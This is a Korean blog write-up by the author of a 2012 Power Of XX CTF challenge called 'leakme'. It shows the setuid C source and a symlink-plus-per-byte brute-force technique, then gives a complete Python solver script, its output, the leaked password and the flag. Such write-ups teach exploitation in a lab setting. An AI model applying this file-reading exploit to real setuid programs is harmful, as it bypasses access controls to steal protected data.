POC 컨퍼런스의 이벤트로 진행된 Power Of XX라는 여성대상 해킹대회 본선에 출제했던 문제입니다.
문제 소스는 BOB 교육이 진행되는 동안 beist님이 만들어 과제로 출제하셨던 문제를 재구성하여 만든 문제입니다ㅋㅋ
출제를 허가해주신 beist님께 감사드립니다 XD
난이도는 중-하 정도로 잡고 냈는데 의외로 한 팀도 못 푸셔서 좀 아쉽지만 .. 재밌는 대회되셨길 !ㅋㅋ
-------------------------------------------------------------------------------------------------------------------------------------------
Category : System Hacking, Trivial
ssh 192.168.0.17 id : leakme pw : leakme /home/leakme/leakme의 취약성을 이용하여 /home/leakme/password_1 ~ password_20 파일의 데이터를 알아내세요. * 인증키 형식 : /home/leakme/password_1 ~ password_20 순으로 파일의 각 글자를 이어붙여 md5()를 거친것이 인증키입니다. md5(concat(password_1, password_2, ....... , password_20)) |
Summary : Symbolic link, each byte brute force
ssh 서비스가 열려있는 linux 서버의 계정이 주어졌다. 주어진 계정으로 로그인 해보면 홈디렉토리에서 아래와 같은 파일들을 볼 수 있다.
leakme@ubuntu:~$ ls -l total 96 -rwsr-xr-x 1 secret secret 11490 Oct 31 10:32 leakme -r--r--r-- 1 secret secret 2890 Oct 31 10:27 leakme.c -r-------- 1 secret secret 1 Oct 31 10:43 password_1 -r-------- 1 secret secret 1 Oct 31 10:43 password_10 -r-------- 1 secret secret 1 Oct 31 10:43 password_11 -r-------- 1 secret secret 1 Oct 31 10:43 password_12 -r-------- 1 secret secret 1 Oct 31 10:43 password_13 -r-------- 1 secret secret 1 Oct 31 10:43 password_14 -r-------- 1 secret secret 1 Oct 31 10:43 password_15 -r-------- 1 secret secret 1 Oct 31 10:43 password_16 -r-------- 1 secret secret 1 Oct 31 10:43 password_17 -r-------- 1 secret secret 1 Oct 31 10:43 password_18 -r-------- 1 secret secret 1 Oct 31 10:43 password_19 -r-------- 1 secret secret 1 Oct 31 10:43 password_2 -r-------- 1 secret secret 1 Oct 31 10:43 password_20 -r-------- 1 secret secret 1 Oct 31 10:43 password_3 -r-------- 1 secret secret 1 Oct 31 10:43 password_4 -r-------- 1 secret secret 1 Oct 31 10:43 password_5 -r-------- 1 secret secret 1 Oct 31 10:43 password_6 -r-------- 1 secret secret 1 Oct 31 10:43 password_7 -r-------- 1 secret secret 1 Oct 31 10:43 password_8 -r-------- 1 secret secret 1 Oct 31 10:43 password_9 |
secret user의 권한으로 setuid가 걸린 leakme라는 ELF 실행 바이너리와 소스가 있고, secret user만 read권한을 가진 password_1 ~ password_20 파일들이 있다. 문제 설명에서도 알 수 있듯이 leakme user의 권한을 가진 상태로 leakme 바이너리의 취약점을 이용해 secret user만 read가 가능한 password 파일들을 읽어내야한다.
우선 주어진 leakme 바이너리의 소스를 보도록 한다.
leakme.c |
#include <stdio.h> #include <stdlib.h> // Thx for beist! XD int main(int argc, char *argv[]) { int i; int j; int x=0; unsigned char c; FILE *fp; char buf[20]={0,}; if(argc != 2) { printf("Usage : %s [password]\n", argv[0]); exit(0); } if(strlen(argv[1])!=20) { printf("Password must be 20-byte-length\n"); exit(0); } i = 0; fp = fopen("./password_1", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_2", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_3", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_4", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_5", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_6", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_7", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_8", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_9", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_10", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_11", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_12", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_13", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_14", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_15", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_16", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_17", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_18", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_19", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; fp = fopen("./password_20", "r"); c = fgetc(fp); fclose(fp); if(c != argv[1][i]) { exit(0); } i += 1; printf("Authentication Success!\n"); return i; } |
leakme 바이너리의 역할은 굉장히 단순하다. 사용자로부터 인자를 넘겨받고, 20byte인지 검사한 후에 password_1 파일부터 password_20 파일까지 차례로 열어가며 각 글자가 일치하는지 검사한다. 만약 중간에 일치하지 않는 경우가 있다면 exit함수를 호출해 종료해버리며, 모두 일치한다면 "Authentication Success"라는 문자열을 출력해준다. 이렇게 간단한 역할을 하는 바이너리를 이용하여 어떻게 password파일들의 내용을 알아낼 수 있을 것인가. 정녕 256 ^ 20번의 경우의 수로 브루트포싱을 해야하는 것일까?
ㄴㄴ물론 아니다. 머리를 굴리다 보면 한 가지 트릭을 생각해볼 수 있다. 그냥 한 줄로 요약하기보단 트릭에 대해 차례차례 설명할 것이다. 우선 처음에 주목할 점은 바이너리에선 상대경로를 사용하여 현재 디렉토리(./)에 있는 password파일들을 열어보는 것이기 때문에 다른 디렉토리로 옮겨가면 우리가 임의로 생성해 준 password 파일을 읽게할 수 있다는 점이다.
#!/usr/bin/python def write_file(filename, data): f = open(filename, "w") f.write(data) f.close() for i in range(1,21): write_file("./password_%d" %i, "a") |
위 파이썬 스크립트를 실행해보면 아래와 같이 a라는 글자들만 들어 있는 password파일들이 생성된다.
leakme@ubuntu:/tmp/pwn3r$ ls -l total 80 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_1 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_10 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_11 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_12 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_13 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_14 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_15 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_16 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_17 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_18 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_19 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_2 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_20 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_3 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_4 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_5 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_6 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_7 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_8 -rw-rw-r-- 1 leakme leakme 1 Nov 13 13:58 password_9 leakme@ubuntu:/tmp/pwn3r$ cat password_* aaaaaaaaaaaaaaaaaaaaleakme@ubuntu:/tmp/pwn3r$ ~/leakme aaaaaaaaaaaaaaaaaaaa Authentication Success! |
'a'라는 데이터를 가지는 password파일들이 20개 생성되었기 때문에 해당 디렉토리에서 20개의 'a'를 인자로 하여 leakme 바이너리를 실행하면 인자와 파일내용들이 일치하여 최종적으로 위 로그와 같이 "Authentication Success"라는 문자열이 출력되는 것을 볼 수 있다.
이제 임의로 생성해 주었던 password_1 파일을 지우고 /home/leakme/ 디렉토리에 있는 password_1파일의 심볼릭 링크를 생성해보자.
leakme@ubuntu:/tmp/pwn3r$ rm password_1 leakme@ubuntu:/tmp/pwn3r$ ln -s /home/leakme/password_1 ./password_1 leakme@ubuntu:/tmp/pwn3r$ ls -l password_1 lrwxrwxrwx 1 leakme leakme 23 Nov 13 14:03 password_1 -> /home/leakme/password_1 |
현재 password_1 파일이 달라졌기 때문에, 위에서 처럼 'a' 20개를 인자로 넘겨줘도 "Authentication Success"라는 문자열을 볼 수 없을 것이다. 하지만 중요한 것은 앞의 한 글자만 달라진 것이기 때문에, 뒤의 19글자는 그대로 'a'로 두고 첫 글자만 브루트포싱해보면, 첫 글자를 알아낼 수 있다!
....................................................... leakme@ubuntu:/tmp/pwn3r$ ~/leakme Aaaaaaaaaaaaaaaaaaaa leakme@ubuntu:/tmp/pwn3r$ ~/leakme Baaaaaaaaaaaaaaaaaaa leakme@ubuntu:/tmp/pwn3r$ ~/leakme Caaaaaaaaaaaaaaaaaaa Authentication Success! |
위 로그에서처럼 첫 글자를 아스키 값 1~255까지 브루트포싱 하다보면 문자가 password_1 파일 데이터와 일치할때 "Authentication Success!" 문자열이 출력될 것이다. 문자열이 출력된 순간에 넣어줬던 문자를 기록해두고, 다음 password 파일들에 같은 방법으로 브루트포싱을 하다보면 20개의 글자를 모두 알아낼 수 있다.
이 동작을 자동으로 20번 반복하도록 파이썬 스크립트를 작성했다.
leakme_evil.py |
#!/usr/bin/python import os HOME = "/home/leakme/" leaked = "" table = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz !@#%^_+-~/?,." def write_file(filename, data): f = open(filename, "w") f.write(data) f.close() for i in range(1,21): write_file("./password_%d" %i, "a") for i in range(1,21): os.unlink("./password_%d" %i) os.symlink(HOME+"password_%d" %i, "./password_%d" %i) for ascii in table: res = os.popen(HOME+"leakme" + " " + leaked+ascii+"a"*(20-i)).read() if res == "Authentication Success!\n": print "[+] leaked ' %s ' !!" %ascii leaked += ascii break print "[+] All files leaked !\n> %s" %leaked |
위에서 설명했던 동작을 20번 자동으로 반복하는 파이썬 스크립트이다. 이 스크립트를 실행하면 /home/leakme/ 디렉토리에 있는 password파일들의 데이터를 모두 알아낼 수 있다. 스크립트를 실행해보자.
leakme@ubuntu:/tmp/pwn3r$ ./leakme_evil.py [+] leaked ' C ' !! [+] leaked ' H ' !! [+] leaked ' 1 ' !! [+] leaked ' c ' !! [+] leaked ' K ' !! [+] leaked ' 3 ' !! [+] leaked ' n ' !! [+] leaked ' ! ' !! [+] leaked ' # ' !! [+] leaked ' @ ' !! [+] leaked ' p ' !! [+] leaked ' 4 ' !! [+] leaked ' D ' !! [+] leaked ' A ' !! [+] leaked ' r ' !! [+] leaked ' K ' !! [+] leaked ' _ ' !! [+] leaked ' k ' !! [+] leaked ' K ' !! [+] leaked ' ~ ' !! [+] All files leaked ! > CH1cK3n!#@p4DArK_kK~ |
모든 password 파일들의 데이터를 알아냈다. 문제 설명에 나와있듯이, 알아낸 데이터를 이어붙여 md5 hash로 변환한 값이 인증 키이다.
Flag : bbe6db412c57f804e0df948402874b81
'CTF > 2012' 카테고리의 다른 글
BOB 1기 모의사이버전 - memod (1) | 2012.12.03 |
---|---|
POWER OF XX 2012 예선 - listd (1) | 2012.11.09 |
Just For Fun Season2 2012 - silly200 (Exploit Only) (4) | 2012.08.06 |
Just For Fun Season2 2012 - silly100 (8) | 2012.08.05 |
제 1회 청소년 화이트해커 경진대회 문제풀이보고서 (0) | 2012.05.24 |